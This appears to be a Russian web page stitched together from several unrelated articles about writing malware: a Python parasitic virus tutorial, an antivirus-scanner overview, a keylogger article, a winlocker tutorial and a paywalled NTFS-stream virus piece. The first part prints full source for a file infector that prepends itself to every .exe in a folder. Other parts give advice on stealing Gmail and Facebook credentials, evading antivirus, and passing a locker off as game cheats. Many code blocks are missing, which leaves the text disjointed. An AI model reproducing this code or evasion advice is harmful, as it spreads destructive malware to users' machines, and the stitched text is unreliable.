Создать модуль для вирусов

Обновлено: 17.04.2024

Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…

Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).

Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.

Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.

В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.

Код HLLP-вируса

import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:

namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:

os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');

Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.

После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:

а перед этим выполняется команда

Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').

Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.

Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.

Главное для нас — продемонстрировать принцип работы.

Сетевой червь

Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.

Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.

Отправка письма

Отправка письма с вложением

Несколько замечаний

В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().

Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.

Заключение

Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).



Последний год я работал над реализацией вирусного сканера для одной антивирусной как ни странно компании.
Пост являет собой выжимку приобретенных знаний, и повествует хабрасообществу о внутреннем устройстве как ни странно антивирусного сканера.
Сканирующий движок или сканер — это фундамент антивирусного пакета. Являет собой бэк-энд антивируса и, как правило представлен в виде dll, так как сканер используется сразу несколькими программами из пакета.
Графическая оболочка в этом случае — лишь красивая обертка для отображения результатов движка. Всю полезную работу, делает движок в бэк-енде.

Локации вирусного ПО

  • Сканирование произвольных файлов и папок, вплоть до целых дисков.
  • Сканирование памяти. Сканируются все загруженные в память процессы и их dll.
  • Сканирование загрузочных записей дисков (Master Boot Records — MBR).
  • Сканирование системы на предмет следов вредоносного ПО. Проверка системных папок вроде %APPDATA%, %WINDIR% на предмет определенных файлов и папок. Сканирование реестра, также на предмет следов в автозагрузке и настройках.

Виды сканирования.

Сканирование делится на два основных вида: сигнатурный и эвристический.

Сканирование на основе сигнатур.

Другое название — хэш-скан (hash scan). Сканер проверяет файлы путем сравнения сигнатур файлов со словарем.
Обычно сигнатурой антивируса является MD5-хэш (16 байт) сгенерированный на основе тела известного вируса.
Таким образом, файл считается зараженным, если его хэш найден в базе сигнатур. Для локализации выявления вредоноса, хэш может вычисляться только для exe-файлов на основе PE-заголовка.
Такой вид сканирования позволяет определить вид атаки с высокой долей вероятности, без ложных срабатываний (чем грешит эвристическое сканирование).
К недостаткам хэш-скана относят неспособность выявить новые вирусы, которые отсутствуют в базе. А также беззащитность перед полиморфными или шифрующимися вирусами, в связи с чем требуются регулярные обновления базы сигнатур.
Также слабым местом хэш-скана является скорость проверки. Если бы не закон Мура, ни один современный компьютер уже не смог бы закончить сканирование с такой массой сигнатур в разумное время.

Эвристическое сканирование

Компоненты и вспомогательные модули сканера

Драйвер прямого доступа к диску

Необходим для обхода руткитов. В зараженной системе, руткиты используются
для заметания следов своего присутствия. Лучшим способом для этого является подмена вызовов API-функций.
В частности для работы с файлами: CreateFile, ReadFile итд. Когда антивирусная программа сканирует систему,
вызывая эти функции, то руткит может возвращать FALSE, когда такой вызов относится к нему. Чтобы обойти это,
сканер содержит в себе модуль непосредственного посекторного считывания с диска, без использования WinAPI.

Черно-Белые списки

Служат для фильтрации обнаружений, которые на самом деле не являются зловредами. Таким образом, антивирус не предупреждает об опасности, в случае ложного срабатывания.
Современные антивирусы, хранят базу в среднем от 5 млн. сигнатур. Причем довольно часто, для одного вируса, может существовать с десяток сигнатур. Возможная ситуация, что из нескольких тысяч системных файлов, найдется подходящий под сигнатуру файл. А это грозит тем, что антивирус удалит его, или переместит в карантин, что может привести к отказу системы вовсе.
Минимизировать ложные срабатывания — главный приоритет любой антивирусной компании.
Чтобы пройти самый престижный антивирусный тест — virus bulletin, антивирус должен показать 100% результат обнаружения, при этом не выдав единого ложного срабатывания.
Белый список — содержит список файлов, которые не вредят системе, но так или иначе обнаруживаются сканером.
Черный список — содержит список вирусов, которым мы доверяем (также не наносят вреда системе).

Распаковщики, дешифровшики

Чтобы достичь приемлемого уровня обнаружения вируса, сканер должен отрабатывать exe-шники, зашифрованные exe-пакером (Например UPX). Тогда перед вычислением хэша, сканер обнаруживает, что файл зашифрован и сначала обращается к дешифровщику, а затем уже на этой основе, вычисляется хэш и сравнивает с имеющимся в базе.
Второй вид архивов — это всем известные zip, rar, 7z итд. Антивирус также должен уметь распаковывать эти архивы, и сканировать содержимое.
Третий вид — это распаковка NTFS ADS (NTFS Alternative Data Streams). В файловой системе NTFS, исполняемый файл может быть замаскирован под обычный, например текстовый. Альтернативный поток этого файла, будет ссылаться непосредственно на вирус.

image

Хакерский мир можно условно разделить на три группы атакующих:

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Данная статья была создана в познавательных целях! Автор не несёт ответственности за ваши незаконные действия и за вред причинённый вашему компьютеру. Помните, это не игрушка какая-то, это ВИНЛОКЕР! Автор настоятельно не рекомендует запускать программу, которая описана в этой статье без детального ознакомления с кодом.

Вступление

И всем привет братва, с вами я, Геймер Дисклеймер. Как вы думаете, чем я занимался 2 дня подряд? Нет, я не в доту рубился (и вам не советую, раз уж вы себя программистами называете). Я подготавливал материал для Хабра. А точнее, создавал винлокер. И нет, я его не скоммуниздил украл у кого-то, а сам создавал его с нуля. И сегодня я научу вас его создавать. И да, если вы дисклеймер так и не прочитали, то ни в коем случае не используйте этот код во вред другим! Ну ладно, без лишних слов, погнали!

Что нам нужно?

Для создания винлокера нам понадобится:

Сам Python, установить который вы сможете на официальном сайте

Текстовый редактор, в моём случае это будет S*****e Text, цензура для того, чтобы модерация не сочла это за пиар (фактически, вы сможете его написать хоть в простом блокноте)

Доступ к интернету для установки необходимых модулей в PyPI

Компьютер, работающий на ОС Windows

Хоть какое-то базовое познание Python

Чай с молоком, или в крайнем случае кофе

Приступаем к написанию

Ну что-же, раз мы убедились, что всё необходимое у нас есть, теперь можем начинать писать код.

Создаём файл main.py в любой директории


После этого открываем его в любом редакторе.


И начинаем писать наш волшебный код.

Установка и импорт модулей

Ах да. чуть не забыл. Надо нам еще окрыть командную строку (вводим Win + R, и пишем cmd


и попадаем в командную строку.


вводим туда pip install getpass3

И у нас происходит установка


Таким же образом вводим комманды pip install pyautogui и pip install playsound

Потом возвращаемся в наш файл, и пишем в нём слудующее:

Создание окна

После этого для удобства ставим отступ, и пишем вот такое

Тут мы присваиваем переменной USER_NAME имя нашего пользователя, в моём случае это просто User.

Потом вводим в наш файл такие истрочки, пояснение будет в комментариях


Для удобства, вот вам код, который вы должны скопировать:

Запуск, и проверка кода на работоспособность

Сохраняем файл. После сохранения заходим опять в консоль, переходим в нашу директорию, где расположен файл. Делается это так:

Моя директория C:/myFiles. Поэтому моя комманда будет выглядеть вот так


потом вводим вот такую строчку:

В результате у вас должно запуститься окно.


Круто! Но ведь это ещё далеко не винлокер.

Но до этого мы ещё не дошли. Сейчас Мы поговорим про адаптивность

Делаем окно адаптивным

Давайте сначало поговорим, зачем нам это вообще нужно. Я вам скажу. Не у всех же нормальный 1920x1080 мониторы. У меня самого монитор 1366x768. А у кого-то мониторы ещё меньше


И чтобы у некоторых людей текст не вылазил за пределы экрана, мы настроим адаптивность.

К сожалению, для меня этот код тоже был сложным, и мне пришлось его копировать с другого сайта.

ПРИМЕЧАНИЕ. Весь последующий код следует вставлять до строчки window.mainloop()


Опять-же вот вам весь код:

Сохраняем и проверяем. Если код не выдал ошибок, то идём дальше

Добавляем функции

Сделать окно - это конечно круто, но пока-что оно бесполезное. И это мы будем исправлять.

Сохраняем, и запускаем. Вроде-бы ничего не изменилось. Так и должно быть! Ведь мы нигде не запускали наши функции. И запускать мы их пока-что не будем. Иначе будет очень плохо

И да, на первой строчке мы видим функцию play(test) . Но постойте! там же упомянут файл sound.mp3. Но ведь его у меня нету.

Сохраняем его в директорию с нашим файлом. Если у файла название не sound.mp3, то переименовываем


Делаем апгрейд интерфейса

До этого момента у нас в окне выводился просто черный квадрат. Не вариант! Где вы видели такой винлокер?

Вводим вот эти строчки кода (опять-же, все обьясняю в комментариях):

ВНИМАНИЕ! ОКНО ЗАКРЫВАЕМ КОМБИНАЦИЕЙ КЛАВИШ ALT + F4

А ТАКЖЕ, КОД ОТ ВИНЛОКЕРА: petya

Запускаем и проверяем. Окно должно выглядеть вот так:


Если же нет, то вот вам весь код:

Убираем возможность закрытия окна путём Alt + F4

Мы с вами закрывали окно путём комбинации клавиш, упомянутой в заголовке.

Нам нужно это убрать. Для этого просто вводим перед строчкой window.mainloop() строку block()


Теперь от винлокера можно избавиться вводом кода.

КОД: petya

Убираем возможность снять винлокер путём закрытия командной строки

Исходный код

Вот и всё! Наш винлокер готов, вот вам весь исходный код файла:

.EXE файл

Так-же вы сможете скомилировать весь код в расширение .ехе с помощью pyinstaller. Я очень добрый автор, и я решил скинуть вам установщик, замаскированный под читы для CS:GO, вы можете затроллить этим друга, но обещайте, что не будете делать атаки этим винлокером, а также, когда немножко посмеётесь, обязательно скажите пароль от винлокера:)

Заключение

В заключение я хочу сказать скептикам - делать вирусы можно хоть где. Даже на том самом PHP.

Так что всем спасибо за то, что прочитали мою статью, а модерации спасибо, в случае, если моя статься попадёт на ленту.


Пара вступительных слов

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

WARNING

Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy .

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

Продолжение доступно только участникам

Вариант 2. Открой один материал

Крис Касперски

Известный российский хакер. Легенда ][, ex-редактор ВЗЛОМа. Также известен под псевдонимами мыщъх, nezumi (яп. 鼠, мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Читайте также: